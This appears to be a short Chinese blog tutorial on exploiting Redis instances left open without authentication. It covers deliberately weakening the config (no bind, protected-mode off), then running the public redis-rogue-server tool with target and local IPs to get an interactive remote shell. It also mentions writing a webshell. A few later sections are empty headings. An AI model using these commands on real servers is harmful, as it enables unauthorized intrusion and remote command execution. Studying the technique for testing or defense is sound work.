Redis未授权访问反弹shell

By | 2020年3月1日

0x00:前言

这是10月份写的一篇文章 后来放到文档里 一直忘记发了 今天整理资料中看到这篇文章 就发出来了

0x01:redis介绍

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。从2010年3月15日起,Redis的开发工作由VMware主持。从2013年5月开始,Redis的开发由Pivotal赞助。
Redis因配置不当可以未授权访问(窃取数据、反弹shell、数据备份操作主从复制、命令执行)。攻击者无需认证访问到内部数据,可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据。攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。

0x02:安装redis

wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar -xvzf redis-3.2.0.tar.gz
cd redis-3.2.0
make

0x03:修改配置文件

vim redis.conf
bind 127.0.0.1前面加上#号 # bind 127.0.0.1
protected-mode设为no protected-mode no

启动redis-server
./src/redis-service

默认的配置是使用6379端口,没有密码。这时候会导致未授权访问然后使用redis权限写文件!!

0x04:攻击利用

利用工具:https://github.com/n0b0dyCN/redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.git
cd redis-rogue-server/RedisModulesSDK/exp
make
cd ../../
python3 redis-rogue-server.py –rhost 目标ip –lhost 本地ip

成功建立连接 输入 i 得到一个交互式 Shell、可以直接输入命令

0x05:攻击利用x2

0x06:攻击利用x3

也可以在网站目录写入 webshell

直接访问 即可 !!